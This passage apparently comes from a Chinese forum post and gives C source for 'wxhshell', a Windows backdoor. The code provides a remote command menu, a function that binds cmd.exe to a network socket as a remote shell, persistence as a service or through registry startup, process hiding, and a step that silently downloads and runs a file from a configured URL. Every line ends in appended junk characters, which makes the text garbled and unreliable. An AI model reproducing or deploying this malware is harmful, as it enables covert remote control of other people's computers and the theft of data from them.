  A^FkU  
  // 帮助 hNh!H<}|m8  
  case '?': { D+:s{IcL<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); nuWQ3w p[e  
    break; VK*_p EV,}  
  } RK-bsf  
  // 安装 dQSO8Jf  
  case 'i': { Pa0W|q#?X  
    if(Install()) >ye.rRZd`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h[qZM  
    else ,Tar?&C:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \&+Y;:6  
    break; }*rSg .  
    } ]wDqdD y7S  
  // 卸载 qdZ ^D  
  case 'r': { eY#^vB  
    if(Uninstall()) wipl5O@L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R.WB.FP  
    else d #1& "(   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >)C7IQ/  
    break; PcA^ jBgGl  
    } EpG9t9S9  
  // 显示 wxhshell 所在路径 [- 92]  
  case 'p': { 3 .#L  
    char svExeFile[MAX_PATH]; w;}5B~).  
    strcpy(svExeFile,"\n\r"); Nb:j]U  
      strcat(svExeFile,ExeFile); AJ>E\DK0]  
        send(wsh,svExeFile,strlen(svExeFile),0); 75p9_)>96  
    break; _!zc <&~I  
    } +`wr{kB$~  
  // 重启 UfPB-EFl$D  
  case 'b': { 7/a7p(   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'lE{Nj*7  
    if(Boot(REBOOT)) ?jfh'mCA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8hS^8  
    else { J \|~k2~  
    closesocket(wsh); KRlJKd{  
    ExitThread(0); 8tSY|ME  
    } oQh;lb  
    break; r=3`Eb"t  
    } iJhieNn  
  // 关机 e eN`T&cI  
  case 'd': {  kSEA  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); N KgEs   
    if(Boot(SHUTDOWN)) W=A0+t%XC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tv7W)?3h  
    else { K_Y{50#  
    closesocket(wsh); 2~hdJ/  
    ExitThread(0); wN'S+4  
    } n:4 0T1: q  
    break; ,=CipL9]  
    } \?v&JmEU  
  // 获取shell qspGNu  
  case 's': { 6R^F^<<  
    CmdShell(wsh); Pq<43:*?  
    closesocket(wsh); Eh;Ia6}  
    ExitThread(0); $:5h5Y#z  
    break; zUJXA:L9  
  } p*jU)@a0  
  // 退出 $]#8D>E&  
  case 'x': { :tO?+1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !]s=9(O  
    CloseIt(wsh); <<S4l~"o  
    break; cd,'37pZ  
    } cHr]{@7Cs  
  // 离开 YIW9z{rrs  
  case 'q': { XsJ`x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); B/3~[ '  
    closesocket(wsh); }N -UlL(  
    WSACleanup(); XelFGTE  
    exit(1); W20- oZ8  
    break; XOqHzft h6  
        }  dEXhn  
  } A4l"^dZc  
  } _:Q^mV=;j  
>DY/CcG\P  
  // 提示信息 Z(RsB_u5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )x [=}0C  
} ?z M   
  } |mG;?>c)  
PT,*KYF_O"  
  return; 0P$19T N  
} XdIno}pN  
\I i# R  
// shell模块句柄 $#e}9g.  
int CmdShell(SOCKET sock) (421$w,B%  
{ "fNv(> -7s  
STARTUPINFO si; jS3@Z?x?*  
ZeroMemory(&si,sizeof(si)); o/ \o -kC}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6flO;d/v  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; B YB9M  
PROCESS_INFORMATION ProcessInfo; o(v`  
char cmdline[]="cmd"; Z{(Gib~{N  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !^L}LtqHI  
  return 0; nUONI+6Z/  
} S|u5RU8*"|  
mhIGunK;+  
// 自身启动模式 zB y%$5~Fw  
int StartFromService(void) u]B b^[  
{ L  ~Vw`C  
typedef struct r{yIF~k@  
{ "o;%em*Bc  
  DWORD ExitStatus; ,agkV)H  
  DWORD PebBaseAddress; Jt8M;Yk  
  DWORD AffinityMask; 2\$<&]q  
  DWORD BasePriority; }1CO>a<  
  ULONG UniqueProcessId; `$ bQ8$+Ci  
  ULONG InheritedFromUniqueProcessId; jc6~V$3  
}   PROCESS_BASIC_INFORMATION; nC/T$ #G  
\K9Y@jnr  
PROCNTQSIP NtQueryInformationProcess; coaJDg+  
7m8:odeF  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6"?#s/fk  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -,=)O  
Np9Pae'  
  HANDLE             hProcess; _mdJIa0D6k  
  PROCESS_BASIC_INFORMATION pbi; jkuNafp}  
)tV]h#4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $a\X(okx  
  if(NULL == hInst ) return 0; tvzO)&)$  
_jkJw2+s\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); h*P0;V`UX  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +f]I7e:qp  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?\Y7]_]/  
0x'Fi2=`  
  if (!NtQueryInformationProcess) return 0; $3#oA.~R/  
~U?vB((j!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &n6 |L8  
  if(!hProcess) return 0; OB,T>o@  
AsZyPybq  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a3Z()|t>  
_["97>q  
  CloseHandle(hProcess); Vyx&MU.-J  
jq/{|<0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &xlOsr/n  
if(hProcess==NULL) return 0; DML0paOm5  
P#A|Pn<p  
HMODULE hMod; 8r\xQr'8h  
char procName[255]; . 55aY~We  
unsigned long cbNeeded; Yic'p0< ?V  
-IV-"-6(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +xmZK<{<  
Git2Cet  
  CloseHandle(hProcess); SR)@'-Wd  
'?fn} V  
if(strstr(procName,"services")) return 1; // 以服务启动 Yu^}  
NX+ eig</-  
  return 0; // 注册表启动 ;rF:$37^  
} gY=+G6;=<  
6d 8n1_  
// 主模块 KRcg  
int StartWxhshell(LPSTR lpCmdLine) f;ycQc@f  
{ T?5F0WKi  
  SOCKET wsl; `+r5I5  
BOOL val=TRUE; IZ4jFgpR  
  int port=0; 8J9o$Se  
  struct sockaddr_in door; {24Pv#ZG#^  
inGH'nl_  
  if(wscfg.ws_autoins) Install(); ~u-`L+G"6  
h"nv[0!)  
port=atoi(lpCmdLine); 0$nJd_gW_  
U`'w{~"D%  
if(port<=0) port=wscfg.ws_port; :(x 90;DW  
/%N~$ &wW  
  WSADATA data; wA)R7%&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; XlNB9\"5  
s*}d`"YvH  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0$49X  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ix5yQgnB}j  
  door.sin_family = AF_INET; *KV] MdS  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); & l|B>{4v  
  door.sin_port = htons(port); g(;ejKSR  
{gi"ktgk  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { B "}GAk}V  
closesocket(wsl); 7,LT4wYH  
return 1; PwNLJj+%  
} 9k"nx ,"  
_H3cqD  
  if(listen(wsl,2) == INVALID_SOCKET) { CblL1q8  
closesocket(wsl); A><%"9pZ  
return 1; G6Fg<g9:  
} qx? lCz a"  
  Wxhshell(wsl); QU4'x4YS  
  WSACleanup(); i|d41u;@  
"|&*MjwN6  
return 0; I2l'y8)d  
(}qLxZ/U  
} !kKKJ~,;  
YGn:_9  
// 以NT服务方式启动 rC*nZ*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Vis?cuU/  
{ )*JTxMQ  
DWORD   status = 0; 9_/1TjrDN  
  DWORD   specificError = 0xfffffff; ]ogy`O>  
E|Lh$9XONA  
  serviceStatus.dwServiceType     = SERVICE_WIN32; bU,& |K/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1Q$ M/}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \%^3Izsc  
  serviceStatus.dwWin32ExitCode     = 0; }w@nZG ^&  
  serviceStatus.dwServiceSpecificExitCode = 0; Y\x Xo?  
  serviceStatus.dwCheckPoint       = 0; CUd'*Ewu  
  serviceStatus.dwWaitHint       = 0; V7v,)a" L  
|3cR'|<Ual  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,?f(~<Aj  
  if (hServiceStatusHandle==0) return; sR0nY8@F  
WL~`L!_. A  
status = GetLastError(); K=>/(s Wiq  
  if (status!=NO_ERROR) U5PCj ]-Xt  
{ 8UZE C-K  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Te/)[I'Tn  
    serviceStatus.dwCheckPoint       = 0; >) ^!gz8  
    serviceStatus.dwWaitHint       = 0; 7I  
    serviceStatus.dwWin32ExitCode     = status; 8vP)qy8  
    serviceStatus.dwServiceSpecificExitCode = specificError; /L8=8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); D.GSl  
    return; =@f;s<v/  
  } 0&-sz=L  
_[7uLWyC9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; zBR]bk\  
  serviceStatus.dwCheckPoint       = 0; Dx%fW`  
  serviceStatus.dwWaitHint       = 0; ;g*6NzdA  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x/<. ?[A  
} C!P6Z10+j  
_ 8>"&1n  
// 处理NT服务事件,比如:启动、停止 w$!n8A qs  
VOID WINAPI NTServiceHandler(DWORD fdwControl) wDG4rN9x  
{ KKzvoc?Bt  
switch(fdwControl) RinRQd  
{ Tk:y>P!%a  
case SERVICE_CONTROL_STOP: .PxM #;i2  
  serviceStatus.dwWin32ExitCode = 0; _ Owz%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; nNKL{Hp  
  serviceStatus.dwCheckPoint   = 0; :U> oW97l  
  serviceStatus.dwWaitHint     = 0; L$Q+R'  
  { 1&<@(S<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VQ; =-95P  
  } >4E,_`3N  
  return; z,EOyi  
case SERVICE_CONTROL_PAUSE: !]nCeo  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; hg~fFj3ST  
  break; J@fE" )  
case SERVICE_CONTROL_CONTINUE: fYi!Z/Ck2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9.B7Owgr89  
  break; HKwGaCj`  
case SERVICE_CONTROL_INTERROGATE:  ]gW J,  
  break; @:@rks&  
}; `4qKQJw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yiq#p "Hs  
} T_-MSXhA  
KPhqD5, (  
// 标准应用程序主函数 *GhRU5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) BTyVfq sx  
{ `<n:D`{dZ  
`dZ|}4[1  
// 获取操作系统版本 %r"GL  
OsIsNt=GetOsVer(); Ah`dt8t  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4@I]PG  
EUkNh>U?  
  // 从命令行安装 =)8Ct  
  if(strpbrk(lpCmdLine,"iI")) Install(); 68*{Lo?U  
|*5nr5c_L  
  // 下载执行文件 4#w^PM8}  
if(wscfg.ws_downexe) { qu%s 7+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) / ["T#`  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^d*>P|n*@e  
} M)7enp) F.  
<GN?J.B  
if(!OsIsNt) { De_</1Au!2  
// 如果时win9x,隐藏进程并且设置为注册表启动 as4NvZ@+r  
HideProc(); F?kVW[h?q  
StartWxhshell(lpCmdLine); @El<"\  
} *@nUas 2"  
else ?s]`G'=>V`  
  if(StartFromService()) JPG!cX%  
  // 以服务方式启动 4/?Zp4g  
  StartServiceCtrlDispatcher(DispatchTable); fna>>  
else g OM`I+CwT  
  // 普通方式启动 pS;dvZ  
  StartWxhshell(lpCmdLine); B(LV22#  
val<N293L>  
return 0; (T01hR&  
}
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只看该作者 1 发表于: 2006-10-10
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